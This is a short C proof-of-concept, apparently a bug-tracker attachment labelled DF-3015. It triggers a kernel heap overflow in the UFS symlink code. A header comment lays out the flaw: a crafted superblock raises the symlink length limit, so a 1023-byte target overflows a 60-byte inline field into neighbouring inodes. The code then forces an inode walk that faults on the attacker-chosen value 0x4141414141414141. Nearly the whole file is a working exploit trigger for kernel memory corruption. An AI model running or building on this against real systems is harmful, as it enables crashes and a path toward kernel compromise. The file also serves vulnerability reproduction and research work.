DF-3015 / trigger3015.c
/* * DF-3015 trigger — blind repro of the ufs_symlink heap overflow. * * ufs_vnops.c:1561-1566 (ufs_symlink): * len = strlen(ap->a_target); * if (len < vp->v_mount->mnt_maxsymlinklen) { <-- 0x7fff from crafted SB * bcopy(ap->a_target, (char *)ip->i_shortlink, len); * * i_shortlink == i_din.di_db, 60 bytes max by design (UFS1_MAXSYMLINKLEN). * struct inode is 304 bytes (320-byte slab chunk); i_din is the last member. * A 1023-byte symlink target overflows ~919 bytes past the chunk into * neighboring inodes -> controlled kernel heap corruption (0x41 markers). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/p/l1"; char target[1024]; int fd; memset(target, 'A', 1023); target[1023] = 0; if (symlink(target, path) != 0) { perror("symlink"); exit(1); } printf("[+] symlink(%d bytes) created at %s — bcopy overflow executed\n", 1023, path); fflush(stdout); /* * Force the kernel to walk the inodes we just smashed. * ihash walk hits victim->i_next == 0x4141414141414141 * -> fatal page fault at 0x4141414141414141 (proof of control) */ sync(); sleep(1); execl("/bin/ls", "ls", "-lai", "/mnt/hold", NULL); perror("ls"); return (0); } |